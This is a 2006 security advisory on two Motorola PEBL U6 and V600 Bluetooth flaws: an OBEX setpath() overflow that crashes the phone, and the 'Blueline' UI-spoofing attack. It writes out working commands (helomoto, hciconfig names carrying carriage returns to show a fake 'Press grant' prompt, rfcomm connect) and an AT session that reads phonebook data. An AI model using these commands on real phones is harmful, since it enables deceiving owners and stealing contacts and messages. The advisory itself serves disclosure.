DMA[2006-0321a] - 'Motorola P2K Platform setpath() overflow and Blueline attack'

["KF (lists)" <kf_lists () digitalmunition com>]

DMA[2006-0321a] - 'Motorola P2K Platform setpath() overflow and Blueline attack'
Author: Kevin Finisterre
Vendor: http://www.motorola.com
Product: 'Motorola PEBL U6,  Motorola V600, other Motorola P2k based phones?'
References:
http://www.digitalmunition.com/DMA[2006-0321a].txt
http://www.motorola.com/motoinfo/product/details/0,,11,00.html
http://www.motorola.com/motoinfo/product/details/0,,87,00.html
http://www.digitalmunition.com/P1010048.JPG

Description:
Motorola is known around the world for innovation and leadership in wireless and broadband 
communications. Inspired by a vision of Seamless Mobility, the people of Motorola are 
committed to helping you get and stay connected simply and seamlessly.

Recently I had the pleasure of experiencing 2 of Morotola's phones, the PEBL U6 and the V600. 
Radiating mystery and intrigue, the understated elegance of the Motorola PEBL elevates mobile 
design to a new level. And with its stunning looks and killer functionality, the Motorola V600 
cellular phone is a sleek statement of sophistication and intelligence for mobile trendsetters 
who demand the very best. 

Each of the phones has exhibited interesting behavior with regard to Bluetooth functionality. 
The PEBL handset for example is subject to a post-authentication Buffer Overflow via OBEX
File Transfer. Both phones are also vulnerable to a pre-authentication user interface spoofing
issue. This document seeks to inform Motorola users about the issues at hand and to describe 
both issues in detail. 

Based on internal markings, my Motorola PEBL is a model U6 (G8/9/18/19) S/W 08.83.76R. It was 
purchased from a T-Mobile store in Columbus, Ohio (USA) on 2/10/2006. 

The following file transfer service is available on channel 9 of my PEBL:

Service Name: OBEX File Transfer
Service Description: OBEX File Transfer
Service Provider: T-Mobile
Service RecHandle: 0x10009
Service Class ID List:
 "OBEX File Transfer" (0x1106)
Protocol Descriptor List:
 "L2CAP" (0x0100)
 "RFCOMM" (0x0003)
   Channel: 9
 "OBEX" (0x0008)
Language Base Attr List:
 code_ISO639: 0x656e
 encoding:    0x6a
 base_offset: 0x100
 code_ISO639: 0x6672
 encoding:    0x6a
 base_offset: 0xc800
 code_ISO639: 0x6573
 encoding:    0x6a
 base_offset: 0xc803
 code_ISO639: 0x7074
 encoding:    0x6a
 base_offset: 0xc806
Profile Descriptor List:
 "OBEX File Transfer" (0x1106)
   Version: 0x0100

After pairing with the phone an attacker can send a long OBEX setpath() and completely crash
the handset.  The user interface will go completely unresponsive and any active calls will be
dropped. After about 15 to 20 seconds the device completely turns off. The user must push the 
power button in order to use the device further. Code execution may be possible however the
debugging capabilities on the PEBL are minimal. Access to Motorola debugging tools may provide
further information about the possibility of code execution. 

A proof of concept java .class was created to trigger the issue. The PoC requires the Avetana 
Bluetooth Stack demo avetanaBluetooth.jar and a java compiler. Please note that it is also 
necessary to pair with the device prior to connecting to the FTP service.

k-fs-ibook:~/Desktop kf$ javac PEBL-p00py.java
k-fs-ibook:~/Desktop kf$ java PEBL-p00py
avetanaBluetooth version 1.3.4
Local name K F?s iBook
Local address 11-22-33-44-55-66
Device class 102104
License valid until 24.02.06
Possibilities array 3F
License-ID 2217
connected
java.io.IOException: Connection closed  (The phone is now dead at this point)

The next issue involves a bit of social engineering complements of the Motorola Bluetooth 
user interface. The PEBL (and the V600?) offers 2 voice gateways, one requires pairing
and one does not. The "Headset Audio Gateway" on channel 3 does not require pairing before
a connection can be made. Because of this an attacker main gain extra access to the phone 
if a user can be convinced to press "Grant". 

Keep in mind that if the attackers phone has not yet been added to the "Device History" list
it will be unable to connect to channel 3. A simple HeloMoto attack on port 8 will help 
eliminate this requirement however. 

# ./helomoto plant 00:15:A8:74:87:3E 8

You can find more information about Helo moto in the following locations. 

http://trifinite.org/Downloads/helomoto.tgz
http://trifinite.org/trifinite_stuff_helomoto.html

The following profile ultimately allows the UI spoofing to occur. 

Service Name: Voice Gateway
Service Description: Headset Audio Gateway
Service Provider: T-Mobile
Service RecHandle: 0x10003
Service Class ID List:
 "Headset Audio Gateway" (0x1112)
 "Generic Audio" (0x1203)
Protocol Descriptor List:
 "L2CAP" (0x0100)
 "RFCOMM" (0x0003)
   Channel: 3
Language Base Attr List:
 code_ISO639: 0x656e
 encoding:    0x6a
 base_offset: 0x100
 code_ISO639: 0x6672
 encoding:    0x6a
 base_offset: 0xc800
 code_ISO639: 0x6573
 encoding:    0x6a
 base_offset: 0xc803
 code_ISO639: 0x7074
 encoding:    0x6a
 base_offset: 0xc806
Profile Descriptor List:
 "Headset" (0x1108)
   Version: 0x0100

Please note that this profile does require that the user accept an inbound connection. The 
following message pops up under normal circumstances when channel 3 is contacted:

Remote Bluetooth Device Name
Requests Voice Gateway?
(Grant or Deny)

Although the user if prompted for the connection I have found that the user interface will
respond interestingly to the 0x0d character. With a bit of creativity we can perhaps trick
a user into accepting our connection request.

# hciconfig hci0 name `echo -e "A\x0dB\x0dC\x0dD\x0dE\x0dF\x0dG"`
# rfcomm connect 0 00:15:A8:74:87:3E 3

The above command will result in the following message being displayed on screen:

       A
       B
       C
       D
       E
      F ...
(Grant or Deny)

Six new line characters seem to be enough to push the factory default message off of the 
screen of the handset. We can obviously be more creative... 

# hciconfig hci0 name `perl -e 'print "Press\x0dgrant\x0dto\x0ddisable\x0dmute\x0d\x0d"'`
# rfcomm connect 0 00:15:A8:74:87:3E 3   (wait for user to press grant)
Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup

On the Motorola handset we get

   Press
   grant
   to
   disable
   mute
(Grant or Deny)

An actual screen shot from the phone during an attack can be found here: 
http://www.digitalmunition.com/P1010048.JPG

Once connected to the Audio Gateway the attacker will have AT level access to the phone. 
Access to personal information such as Phone book entries and SMS data are up for grabs
at this point. 

Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup

ATE1
OK
AT+GMI
+GMI: "Motorola CE, Copyright 2000"
OK
AT+GMM
+GMM: "GSM900","GSM1800","GSM1900","GSM850","MODEL=PEBL U6"
OK
AT+GMR
+GMR: "R478_G_08.83.76R"
OK
AT+CPMS=MT
+CPMS: 14,254
OK
AT+CPBR=1
+CPBR: 1,"13133742069",129,"Stroke - milw0rm"

Since 0x0d is commonly used as a newline character I am going to label this a "Blueline" 
attack (I am a hockey fan what can I say).

The Motorola V600 also appears to be vulnerable to this attack. Like the PEBL the attacker
must first be in the phones "Device History" or the phone must first be exploited via the 
HeloMoto attack. RAZRv3 also exhibited similar UI behavior however other factors did not 
make it immediately viable for an attack scenario. (Thanks Marcel and Adam). As a final 
side note it is worth mentioning that Tonu Samuel (tonu () jes ee) has also confirmed similar 
issues on the Motorola E398 handset. 

Work Around:
The following statements are paraphrased from a collection of email communications between 
myself and Motorola. 

Motorola is committed to providing the best consumer experience possible and software 
performance is key to enabling that. At this point the fixes for both issues have been 
incorporated into software for future phone production.  While it is possible to update
the software on Motorola phones, they do not currently have a mechanism to make the new 
software available to consumers with existing phones.  

Both issues have been identified via Motorola internal testing and Motorola has developed 
fixes for these issue which they are incorporating into their phone software moving forward. 

Motorola evaluates the need for providing patches to existing phones on a case by case 
basis, by working with their partners in the marketplace. If there is a clear need for 
updates to existing phones, they will take appropriate action.   

Consumer satisfaction is the top priority for Motorola so they do what is necessary to 
ensure that they deliver a quality experience. To that end, Motorola has been focusing on 
prevention/ education, not just providing a cure. Motorola is really interested in helping 
consumers learn how to use Bluetooth technology safely... helping educate them on the 
simple things they can do (like not making their phones discoverable in public) to make 
their Bluetooth use safer.  

Special thanks to:  
Alan Buddendeck, Natanya Ray and Greg Muchnik of Motorola for helping with these issues.
The Trifinite.group of course!

It is the authors view that other phones may be vulnerable to the "Blueline" attack, a 
comprehensive list of vulnerable phones and manufacturers will be published once it has 
been identified.